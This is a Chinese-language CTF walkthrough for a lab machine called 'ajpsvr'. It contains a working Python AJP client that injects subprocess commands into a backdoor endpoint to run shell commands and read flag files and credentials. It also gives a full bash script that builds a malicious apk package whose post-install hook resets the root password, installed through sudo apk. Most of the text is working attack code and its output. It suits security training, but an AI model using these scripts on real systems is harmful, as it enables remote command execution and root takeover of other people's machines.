ajpsvr

信息收集

```
└─# nmap -p- 192.168.31.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-17 01:02 CST
Nmap scan report for 192.168.31.14
Host is up (0.00046s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8010/tcp open  xmpp
MAC Address: 08:00:27:F6:66:BA (Oracle VirtualBox virtual NIC)
```

8010很明显

web没开 然后nc连一下测试 随便输入得到回显 然后群里提示了密码

```
└─# nc 192.168.31.14 8010
12312
4ajpy
```

想到了ajp协议然后就直接脚本梭一下

```
import socket
import struct
import urllib.parse

def build_ajp_forward_request(uri):
    method = 2
    protocol = "HTTP/1.1"
    remote_addr = "192.168.31.14"
    remote_host = "192.168.31.14"
    server_name = "192.168.31.14"
    server_port = 8010
    is_ssl = False
    headers = {"host": "192.168.31.14"}

    if '?' in uri:
        path, query = uri.split('?', 1)
    else:
        path, query = uri, ''

    data = bytearray()
    data.append(0x02)  # ForwardRequest
    data.append(method)

    def write_string(s):
        if s is None:
            data.extend(struct.pack(">H", 0xFFFF))
            return
        encoded = s.encode("latin1")
        data.extend(struct.pack(">H", len(encoded)))
        data.extend(encoded)
        data.append(0x00)

    write_string(protocol)
    write_string(path)
    write_string(remote_addr)
    write_string(remote_host)
    write_string(server_name)
    data.extend(struct.pack(">H", server_port))
    data.append(1 if is_ssl else 0)
```

```
    data.extend(struct.pack(">H", len(headers)))
    for k, v in headers.items():
        data.extend(struct.pack(">H", 0xA00B))
        write_string(v)

    if query:
        data.append(0x05)
        write_string(query)
    data.append(0xFF)

    return data

def send_ajp_request(host, port, uri):
    data = build_ajp_forward_request(uri)
    packet = b"\x12\x34" + struct.pack(">H", len(data)) + data

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.sendall(packet)

        while True:
            header = s.recv(4)
            if len(header) < 4:
                break
            if not header.startswith(b"\x12\x34"):
                break
            length = struct.unpack(">H", header[2:])[0]
            body = s.recv(length)
            if not body:
                break
            packet_type = body[0]
            if packet_type == 0x03:
                size = struct.unpack(">H", body[1:3])[0]
                content = body[3:3+size]
                print("Response body:", content.decode(errors="ignore"))
            elif packet_type == 0x05:
                break

if __name__ == "__main__":
    commands = [
        "id",
        "ls /home/welcome",
        "cat /home/welcome/user.txt",
        "ls /home/",
        "cat /opt/server/server.py",
    ]

    for cmd in commands:
        python_cmd = f"__import__('subprocess').check_output('{cmd}', shell=True).decode()"
        encoded_cmd = urllib.parse.quote(python_cmd)
        print(f"Executing command: {cmd}")
        send_ajp_request("192.168.31.14", 8010, f"/backdooooooooooooooooor?cmd={encoded_cmd}")
        print("-" * 40)
```

回显信息

```
Executing command: id
Response body: uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

----------------------------------------
Executing command: ls /home/welcome
Response body: server.py
user.txt

----------------------------------------
Executing command: cat /home/welcome/user.txt
Response body: flag{5a80870310e5a3bc10c00ef6d20a3cac}
```

```
----------------------------------------
Executing command: ls /home/
Response body: superuser
welcome

----------------------------------------
Executing command: cat /opt/server/server.py
Response body: import socket
import threading
import json
import hashlib

FLAG = "flag{superuser/f124cf868d5e3fa5a7de39f80a2f9a0e}"

def fake_sign(data):
    return hashlib.sha256(data.encode()).hexdigest()

blockchain = [
    {
        "index": 1,
        "sender": "system",
        "recipient": "alice",
        "amount": 100,
        "signature": fake_sign("system->alice:100"),
    },
    {
        "index": 2,
        "sender": "alice",
        "recipient": "bob",
        "amount": 50,
        "signature": fake_sign("alice->bob:50"),
    },
    {
        "index": 3,
        "sender": "admin",
        "recipient": "you",
        "amount": 999,
        "signature": fake_sign("admin->you:999"),
        "note": f"congrats! here is your flag: {FLAG}"
    }
]

hints = [
    "[Hint 1] Use 'view' to inspect part of the blockchain.",
    "[Hint 2] The signature is just sha256(sender->recipient:amount).",
    "[Hint 3] Try forging a valid signature with this knowledge.",
    "[Hint 4] What if admin sent you 999 coins?"
]

def handle_client(conn, addr):
    conn.sendall(b"Welcome to SignatureChain CTF over TCP!\nType 'view', 'submit', 'hint', or 'exit'\n> ")
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            cmd = data.decode().strip()

            if cmd == "exit":
                conn.sendall(b"Goodbye!\n")
                break

            elif cmd == "view":
                par
----------------------------------------

进程已结束，退出代码为 0
```

得到user的flag

和superuser的账号密码

```python
superuser/f124cf868d5e3fa5a7de39f80a2f9a0e
```

然后

提权

```
/var/cache/apk $ sudo -l
User superuser may run the following commands on localhost:
    (ALL) NOPASSWD: /sbin/apk
/var/cache/apk $ /sbin/apk
```

只有apk的权限 想到了生成包然后去用root权限改密码

生成文件build_rootless.sh

```
#!/bin/bash

if [ -z "$1" ]; then
  echo "Usage: $0 <pkgname>"
  exit 1
fi

PKGNAME="$1"
WORKDIR="$HOME/mytest/$PKGNAME"
PKGUSER="superuser"

mkdir -p "$WORKDIR"
cd "$WORKDIR" || exit 1

# 主脚本（执行时简单提示）
cat > "$PKGNAME.sh" << EOF
#!/bin/sh
echo "Package $PKGNAME installed."
EOF
chmod +x "$PKGNAME.sh"

# post-install 脚本：修改 root 密码为 123456!@#
cat > "$PKGNAME.post-install" << 'EOF'
#!/bin/sh
echo "[*] Setting root password to '123456!@#' ..."
echo "root:123456!@#" | chpasswd
EOF
chmod +x "$PKGNAME.post-install"

# APKBUILD 文件
cat > APKBUILD << EOF
# Maintainer: $PKGUSER <${USER}@example.com>
pkgname=$PKGNAME
pkgver=1.0
pkgrel=0
pkgdesc="Set root password to 123456!@# via post-install script"
url="http://example.com"
arch="noarch"
license="GPL"
options="!check"
install="$PKGNAME.post-install"
source="$PKGNAME.sh $PKGNAME.post-install"
builddir="\$srcdir"

package() {
  install -Dm755 "\$srcdir/$PKGNAME.sh" "\$pkgdir/usr/bin/$PKGNAME"
}
EOF

# 生成校验和
abuild checksum || exit 1
```

```
# 生成签名密钥（如果没有）
if ! ls ~/.abuild/*.rsa &>/dev/null; then
  abuild-keygen -n
fi

# 写入签名密钥配置
KEYFILE=$(ls -1 ~/.abuild/*.rsa | head -n1)
echo "PACKAGER_PRIVKEY=\"$KEYFILE\"" > ~/.abuild/abuild.conf

# 构建 APK 包
abuild -k || echo "Warning: abuild may have failed indexing, but APK might be created."

# 找到生成的 APK 包
APKFILE=$(find ~/packages -name "$PKGNAME-1.0-r0.apk" | head -n1)
if [ ! -f "$APKFILE" ]; then
  echo "❌ APK file not found, build failed."
  exit 1
fi

echo "Installing APK: $APKFILE"
sudo /sbin/apk add --allow-untrusted "$APKFILE" || exit 1

echo "Run test command:"
$PKGNAME
```

```
bash build_rootless.sh  rootpass
```